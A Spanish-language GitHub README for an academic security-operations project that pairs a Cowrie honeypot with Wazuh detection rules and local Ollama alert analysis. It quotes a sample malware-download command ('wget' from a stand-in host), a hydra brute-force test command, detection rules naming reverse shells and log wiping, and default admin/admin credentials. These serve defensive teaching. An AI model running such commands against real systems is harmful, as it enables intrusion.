Thanks to visit codestin.com
Credit goes to github.com

Skip to content

heindall92/Proyecto-Master-Ciberseguridad-Evolve-Yoandy

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

119 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

header

Wazuh Cowrie Ollama Docker

License Platform ISO 27001 MITRE


SOC profesional que detecta ataques reales, los analiza con Inteligencia Artificial local y los presenta en dashboards interactivos.

Proyecto de Máster en Ciberseguridad — 100% local, sin coste, alineado con privacidad y cumplimiento tipo ISO/IEC 27001.


📋 Índice

📖 Haz clic para expandir
  1. ¿Qué es Valhalla SOC?
  2. ¿Cómo funciona? (Explicación simple)
  3. Arquitectura del Sistema
  4. Componentes Principales
  5. ¿Qué es Ollama y qué hace aquí?
  6. Capturas de Pantalla
  7. Requisitos Previos
  8. Guía de Puesta en Marcha
  9. Dashboards y Visualizaciones
  10. Estructura del Proyecto
  11. Aplicación de Escritorio (Standalone)
  12. Preguntas Frecuentes (FAQ)
  13. Licencia y Créditos

🎯 ¿Qué es Valhalla SOC?

Valhalla SOC es un Centro de Operaciones de Seguridad (Security Operations Center) completo que:

  • 🪤 Despliega un honeypot (una trampa) que simula ser un servidor real para atraer atacantes
  • 🔍 Detecta ataques en tiempo real como fuerza bruta, ejecución de comandos maliciosos, descargas de malware y reverse shells
  • 🤖 Analiza cada amenaza con IA local usando Ollama (sin enviar datos a la nube)
  • 📊 Presenta todo en dashboards profesionales con gráficas, tablas y métricas
  • 🗺️ Mapea ataques al framework MITRE ATT&CK para clasificarlos según estándares internacionales

En palabras simples: Es como poner una cámara de seguridad inteligente en internet que graba a los ladrones, analiza lo que hacen y te lo explica.


🧩 ¿Cómo funciona? (Explicación simple)

Imagina un edificio con un sistema de seguridad completo:

🏠 Edificio  →  🏪 Tienda falsa  →  📹 Cámaras  →  🧠 Analista IA  →  📺 Monitor
   (Internet)    (Honeypot Cowrie)   (Wazuh SIEM)    (Ollama)         (Dashboard)

Paso a paso:

Paso Componente Qué sucede
1️⃣ 🪤 Cowrie Se conecta a internet haciéndose pasar por un servidor SSH real. Los atacantes/bots lo encuentran e intentan entrar
2️⃣ 📝 Logs JSON Todo queda registrado: cada intento de login, cada comando, cada archivo descargado
3️⃣ 🔍 Wazuh Lee esos registros en tiempo real y los clasifica: "fuerza bruta", "descarga de malware", "reverse shell"
4️⃣ 🤖 Ollama Recibe las alertas más graves y las analiza con IA, explicando qué está haciendo el atacante
5️⃣ 📊 Dashboard Muestra todo de forma visual: gráficas, IPs atacantes, comandos ejecutados, mapeo MITRE ATT&CK

🏗️ Arquitectura del Sistema

                    ┌─────────────────────────────────────────────┐
                    │              INTERNET / ATACANTES            │
                    └────────────────────┬────────────────────────┘
                                         │
                                    Puerto 2222
                                         │
                    ┌────────────────────▼────────────────────────┐
                    │          🪤 COWRIE HONEYPOT                  │
                    │   Simula SSH/Telnet real                    │
                    │   Registra TODA la actividad en JSON        │
                    └────────────────────┬────────────────────────┘
                              Volumen compartido
                            (cowrie_logs)
                                         │
                    ┌────────────────────▼────────────────────────┐
                    │          🔍 WAZUH MANAGER                   │
                    │   Lee logs de Cowrie en tiempo real         │
                    │   Aplica reglas personalizadas              │
                    │   Clasifica alertas por severidad           │
                    │   Mapea a MITRE ATT&CK                     │
                    │                                             │
                    │   Cuando alerta nivel ≥ 5:                  │
                    │   ────► Llama a Ollama para análisis IA     │
                    └──────────┬──────────────┬───────────────────┘
                               │              │
                    ┌──────────▼──────┐  ┌────▼──────────────────┐
                    │  🗄️ WAZUH        │  │  🤖 OLLAMA (IA Local) │
                    │  INDEXER         │  │  Puerto 11434         │
                    │  (OpenSearch)    │  │  Modelo: qwen2.5      │
                    │  Puerto 9200     │  │  Analiza amenazas     │
                    └──────────┬──────┘  └────────────────────────┘
                               │
                    ┌──────────▼──────────────────────────────────┐
                    │          📊 WAZUH DASHBOARD                  │
                    │   Puerto 443 (HTTPS)                        │
                    │   Dashboards interactivos                   │
                    │   Reportes PDF/CSV                          │
                    │   Alertas en tiempo real                    │
                    └─────────────────────────────────────────────┘

Pipeline de datos:

Atacante → SSH al Honeypot → Log JSON → Wazuh lee log → Aplica decoder → 
→ Aplica regla → Genera alerta → Envía a Ollama (si nivel ≥ 5) → 
→ IA analiza → Todo se indexa en OpenSearch → Dashboard lo muestra

🔧 Componentes Principales

1. 🪤 Cowrie Honeypot — "La Trampa"

📖 Más información

¿Qué es? Un programa que simula ser un servidor SSH/Telnet real. Cuando un atacante se conecta, cree que está en un servidor de verdad, pero todo es falso.

¿Qué hace en Valhalla SOC?

  • Escucha en el puerto 2222 (SSH) y 2223 (Telnet)
  • Simula ser un servidor Ubuntu con OpenSSH 8.9
  • Permite que los atacantes "entren" con contraseñas comunes (root/admin, admin/password, etc.)
  • Graba absolutamente todo: cada tecla, cada comando, cada archivo descargado
  • Genera archivos de log en formato JSON

Archivo de configuración: cowrie_config/cowrie.cfg


2. 🔍 Wazuh — "El Cerebro del SIEM"

📖 Más información

¿Qué es? Wazuh es un SIEM (Security Information and Event Management) de código abierto. Es el sistema que recibe logs, los analiza y genera alertas.

Componente Puerto Función
Wazuh Manager 1514, 1515, 55000 Lee los logs de Cowrie, aplica reglas, genera alertas, llama a Ollama
Wazuh Indexer 9200 Base de datos (OpenSearch) que almacena todas las alertas
Wazuh Dashboard 443 Interfaz web para ver dashboards, alertas y reportes

Reglas de detección personalizadas:

ID Regla Nivel Qué detecta MITRE ATT&CK
100110 5 Login fallido
100111 10 🔴 Fuerza bruta (5+ fallos en 120s) T1110
100112 9 🟠 Login exitoso en honeypot T1078
100113 12 🔴 Login exitoso tras fuerza bruta T1078, T1110
100120 8 🟡 Comando ejecutado T1059
100121 9 🟠 Comandos de reconocimiento T1082
100130 13 🔴 Descarga de malware (wget/curl) T1105
100140 15 🔴 Reverse shell T1059, T1071
100150 14 🔴 Desactivar firewall/seguridad T1562
100160 11 🔴 Persistencia (crontab) T1053
100170 12 🔴 Anti-forense (borrar logs) T1070
100180 12 🔴 Escalada de privilegios T1548

🤖 ¿Qué es Ollama y qué hace aquí?

¿Qué es Ollama?

Ollama es un programa que permite ejecutar modelos de Inteligencia Artificial (IA) directamente en tu ordenador, sin necesidad de internet ni servidores en la nube. Es como tener un "ChatGPT" local y privado.

¿Por qué Ollama y no ChatGPT o la nube?

Característica Ollama (Local) ChatGPT / Nube
Privacidad ✅ Los datos nunca salen de tu equipo ❌ Los datos van a servidores externos
Coste ✅ Gratis, sin suscripciones ❌ Pago por uso (costoso)
Cumplimiento normativo ✅ Alineado con ISO 27001, GDPR ⚠️ Requiere acuerdos de procesamiento
Velocidad ✅ Sin latencia de red ❌ Depende de la conexión
Disponibilidad ✅ Funciona sin internet ❌ Requiere internet

¿Qué hace Ollama en Valhalla SOC?

Ollama actúa como un analista de seguridad automatizado:

1. Wazuh detecta una amenaza (nivel ≥ 5)
   ↓
2. Wazuh ejecuta custom-ollama.py con la alerta en JSON
   ↓
3. El script construye un prompt:
   "Eres un analista SOC. Alerta: 'Descarga de malware — wget
    http://10.0.0.1/malware.sh' desde IP 185.220.101.1.
    En 2 oraciones: describe el objetivo y el nivel de amenaza."
   ↓
4. Envía POST a http://host.docker.internal:11434/api/generate
   ↓
5. Ollama responde:
   "El atacante está descargando un script malicioso desde un servidor
    C2 para establecer persistencia. Nivel: CRÍTICO."
   ↓
6. La respuesta se indexa como alerta "Ollama AI Insight" (regla 100200)
   ↓
7. Aparece en el Dashboard

Modelo de IA utilizado

Parámetro Valor
Modelo qwen2.5-coder:7b (7 mil millones de parámetros)
Tamaño ~4.5 GB
Temperatura 0.3 (respuestas técnicas y deterministas)
Max tokens 150 (respuestas concisas, ~2 oraciones)

¿Cómo se conecta Ollama con Docker?

Ollama (en tu PC, puerto 11434)
        ↑
        │ POST http://host.docker.internal:11434/api/generate
        │
Wazuh Manager (dentro de Docker)
        │
        └── Script: /var/ossec/integrations/custom-ollama

host.docker.internal es un nombre especial de Docker que significa "la IP de mi PC anfitrión vista desde dentro del contenedor".


📸 Capturas de Pantalla

Dashboard principal de Wazuh

Resumen de agentes, alertas de las últimas 24 horas, módulos de seguridad

Dashboard principal


Agente INFIERNO con MITRE ATT&CK

Tácticas detectadas: Evasión de Defensa, Acceso Inicial, Persistencia, Escalada de Privilegios

Agente MITRE


Dashboard Cowrie Honeypot (tiempo real)

12.918 alertas críticas, timeline de eventos, top IPs atacantes, comandos ejecutados

Cowrie Honeypot


Dashboard de Reportes de Seguridad

Resumen por regla, top 20 IPs atacantes, cobertura MITRE ATT&CK

Reportes de Seguridad


Monitores de alertas activos

7 monitores habilitados: Brute Force, Login Exitoso, Malware, Reverse Shell, Evasión, Volumen Anómalo, Persistencia

Monitores


Detalle de alerta activa

Actividad Elevada - Advertencia, severidad 3 (Medio), monitor de Volumen Anómalo

Alerta activa


Generación de informes PDF

Exportación directa desde el dashboard

Generación de informe


Dashboard de Presentación del SOC

Vista principal del sistema Valhalla SOC con métricas en tiempo real

Dashboard Presentación


Interfaz de Acceso (Tactical Cyberpunk)

Pantalla de login rediseñada con efectos Glassmorphism y polígonos complejos

Login Valhalla



💻 Requisitos Previos

Hardware Mínimo

Recurso Mínimo Recomendado
RAM 8 GB 16 GB
CPU 4 cores 8 cores
Disco 20 GB libres 50 GB libres
GPU No necesaria GPU NVIDIA (acelera Ollama)

Software Necesario

Software Para qué Descargar
Docker Desktop Ejecutar todos los servicios docker.com
Ollama IA local ollama.ai
Git Clonar el repositorio git-scm.com
Python 3.8+ Scripts de configuración python.org

🖥️ Dashboard Valhalla SOC (Frontend)

Además del dashboard nativo de Wazuh, Valhalla SOC incluye un dashboard propio desarrollado con HTML/CSS/JS que se ejecuta en http://localhost:3000.

Características:

  • 🎨 Interfaz moderna con visualización de amenazas en tiempo real
  • 🔐 Sistema de autenticación con JWT
  • 📊 Dashboard interactivo con métricas del honeypot
  • 🎫 Gestión de tickets SOC
  • 📈 Exportación de reportes en múltiples formatos

Componentes:

Componente Puerto Descripción
Sistema Valhalla 3000 Frontend (HUD) + Backend (API) unificados

Iniciar el Dashboard:

Toda la infraestructura se gestiona ahora a través de Docker:

docker compose up -d --build

🚀 Guía de Puesta en Marcha

📖 Manual completo disponible en MANUAL.md

Inicio rápido (primera vez)

Guía detallada: docs/INSTALACION_PRIMERA_VEZ.md

# 1. Clonar el repositorio
git clone https://github.com/heindall92/Proyecto-Master-Ciberseguridad-Evolve-Yoandy.git
cd Proyecto-Master-Ciberseguridad-Evolve-Yoandy

# 2. Configurar secretos (NO copiar .env.example a mano)
#    Windows: setup.bat  |  Linux: ./scripts/setup_env.sh  |  make setup
python scripts/setup_env.py

# 3. Ollama + modelo IA
ollama pull qwen2.5-coder:7b

# 4. Levantar infraestructura
docker compose --profile labs up -d --build

# 5. Wazuh (esperar 3-5 min tras paso 4)
pip install requests
python create_dashboards.py
python setup_monitors.py
python setup_reports.py

En Windows, Valhalla-Runner.bat ejecuta el paso 2 automáticamente si falta .env.

Entrega limpia: el repo no incluye tickets, chats ni usuarios de prueba. Solo admin tras el setup. Ver docs/INSTALACION_PRIMERA_VEZ.md (sección Entrega limpia).

Acceder al Dashboard

Servicio URL Credenciales
🏠 Valhalla SOC Dashboard http://localhost:3000 admin + contraseña elegida en el setup (.env.setup-backup)
📊 Dashboard Wazuh (Nativo) https://localhost admin / admin
🔌 Wazuh API https://localhost:55000 wazuh-wui / wazuh-wui
🗄️ OpenSearch https://localhost:9200 admin / admin
🪤 Honeypot SSH ssh localhost -p 2222 ¡Es la trampa! 🪤
🤖 Ollama API http://localhost:11434 Sin autenticación

Simular ataques de prueba

# Login fallido
ssh root@localhost -p 2222

# Fuerza bruta (con hydra)
hydra -l root -P wordlist.txt ssh://localhost:2222

📊 Dashboards y Visualizaciones

Dashboard 1: Cowrie Honeypot (Tiempo Real)

https://localhost/app/dashboards#/view/valhalla-soc-cowrie

  • 🔴 Contador de alertas críticas
  • 🥧 Distribución por severidad
  • 📈 Timeline de eventos
  • 🏆 Top 10 IPs atacantes
  • 📋 Comandos ejecutados

Dashboard 2: Reportes de Seguridad

https://localhost/app/dashboards#/view/valhalla-soc-reports

  • 📊 Alertas por nivel diario
  • 📋 Resumen por regla
  • 🗺️ Cobertura MITRE ATT&CK

7 Monitores en Tiempo Real (cada 5 min)

Monitor Severidad
Brute Force SSH 🔴 CRÍTICO
Login Exitoso en Honeypot 🔴 CRÍTICO
Descarga de Malware 🔴 CRÍTICO
Reverse Shell / C2 🔴 CRÍTICO
Evasión de Defensa 🔴 CRÍTICO
Volumen Anómalo (50+ eventos) 🔴 CRÍTICO
Persistencia (crontab) 🟠 ALTO

💬 Comunicación y Colaboración (Real-Time)

  • 🚀 Chat de Operadores: Sistema basado en WebSockets para comunicación instantánea entre múltiples navegadores o equipos.
  • 💾 Persistencia Total: Historial de chat almacenado en base de datos para no perder mensajes al refrescar o cambiar de sesión.
  • 🔔 Notificaciones Visuales: Alertas luminosas (Neon Red) cuando hay mensajes nuevos para el operador.

🛡️ Inteligencia de Amenazas (Threat Intelligence)

  • 🔍 Watchlist de IOCs: Registro persistente de IPs, Hashes y Dominios maliciosos detectados mediante el modelo de datos unificado.
  • 🚫 Bloqueo Directo: Botón "Bloquear en Firewall" integrado directamente en la interfaz de análisis de indicadores.
  • 📊 Integración con VirusTotal: Análisis profundo de indicadores con reportes detallados cargados en tiempo real desde la API.

📁 Estructura del Proyecto

Valhalla-SOC/
├── 📄 docker-compose.yml          ← Orquestación de servicios
├── 📄 .env.example                ← Variables de entorno
├── 📄 README.md                   ← Este archivo
├── 📄 MANUAL.md                   ← Manual de usuario completo
│
├── 📂 config/
│   ├── certs.yml                  ← Definición de nodos para certs
│   └── 📂 wazuh_indexer_ssl_certs/  ← Certificados TLS
│
├── 📂 cowrie_config/
│   ├── cowrie.cfg                 ← Configuración del honeypot
│   └── userdb.txt                 ← Credenciales trampa
│
├── 📂 wazuh_config/
│   ├── ossec.conf                 ← Config principal Wazuh
│   ├── 📂 decoders/               ← Parseo de logs Cowrie
│   ├── 📂 rules/                  ← Reglas de detección
│   └── 📂 integrations/
│       ├── custom-ollama.py       ← 🤖 Integración Ollama IA
│       └── custom-valhalla.py     ← Integración backend
│
├── 📄 create_dashboards.py        ← Crear dashboards Cowrie
├── 📄 setup_monitors.py           ← Crear monitores de alertas
└── 📄 setup_reports.py            ← Crear reportes de seguridad

🖥️ Aplicación de Escritorio (Standalone)

Valhalla SOC incluye una versión nativa para Windows basada en Electron. Esta arquitectura ha sido diseñada para garantizar la continuidad de las operaciones tácticas, permitiendo el acceso a la consola de control incluso en escenarios de desconexión total o fallo en los servicios centrales (Wazuh/Docker).

Características Principales:

  • Disponibilidad Continua (Modo Offline): El sistema detecta automáticamente la pérdida de conexión con el backend y activa un modo de emergencia. Esto permite acceder a la interfaz y consultar los procedimientos operativos (Runbooks) almacenados localmente.
  • Entorno Seguro: Ejecución en un contenedor de escritorio aislado con políticas de seguridad optimizadas para la comunicación local.
  • Despliegue Simplificado: Generación de un instalador .exe autónomo con la identidad visual oficial de Valhalla SOC.

Instalación y Compilación:

Para generar tu propio ejecutable de escritorio:

cd frontend
npm install
npm run build:exe

El instalador final se generará en la ruta: frontend/dist_electron/Valhalla SOC Setup 0.1.0.exe


❓ Preguntas Frecuentes (FAQ)

🔧 Generales

¿Necesito saber programar? No. Solo ejecutar comandos básicos en la terminal.

¿Es legal poner un honeypot? Sí, siempre que sea en tu propia red.

¿Puede dañar mi ordenador? No. Todo corre dentro de Docker (contenedores aislados).

¿Funciona en Windows/Linux/Mac? Sí, en los tres.

🤖 Sobre Ollama y la IA

¿Es obligatorio Ollama? No. El sistema funciona sin él, pero no tendrás análisis IA.

¿Ollama envía mis datos a internet? No. 100% local.

¿Cuánta RAM necesita Ollama? ~4-6 GB adicionales para el modelo.

¿Puedo usar otro modelo? Sí. Cambia OLLAMA_MODEL en .env. Alternativas: llama3:8b, mistral:7b.

¿Qué pasa si Ollama no está corriendo? Las alertas siguen funcionando, solo falta el análisis IA.

🔍 Sobre Wazuh

Niveles de alerta:

Nivel Significado
0-4 🟢 Bajo / Informativo
5-7 🟡 Medio
8-9 🟠 Alto
10-12 🔴 Muy Alto
13-15 ⚫ Crítico

¿Qué es MITRE ATT&CK? Base de conocimiento que clasifica técnicas de ataque (ej: T1110 = Fuerza bruta).

🐛 Problemas Comunes

Contenedores se reinician → Falta RAM. Necesitas ≥8 GB libres para Docker.

No accedo al Dashboard → Espera 3-5 min. Verifica con docker compose ps.

Certificado da error → Normal. Es auto-firmado. Acepta la excepción.

Ollama no analiza → Verifica: curl http://localhost:11434

¿Cómo paro todo?docker compose down

¿Cómo borro todo?docker compose down -v


📜 Licencia y Créditos

Tecnología Licencia Web
Wazuh GPLv2 wazuh.com
Cowrie MIT github.com/cowrie
Ollama MIT ollama.ai
Docker Apache 2.0 docker.com

Proyecto académico desarrollado durante el Master en Ciberseguridad de Evolve.


footer

⚔️ Valhalla SOCDonde los ataques vienen a morir

Made with ❤️ Powered by Ollama

About

No description, website, or topics provided.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors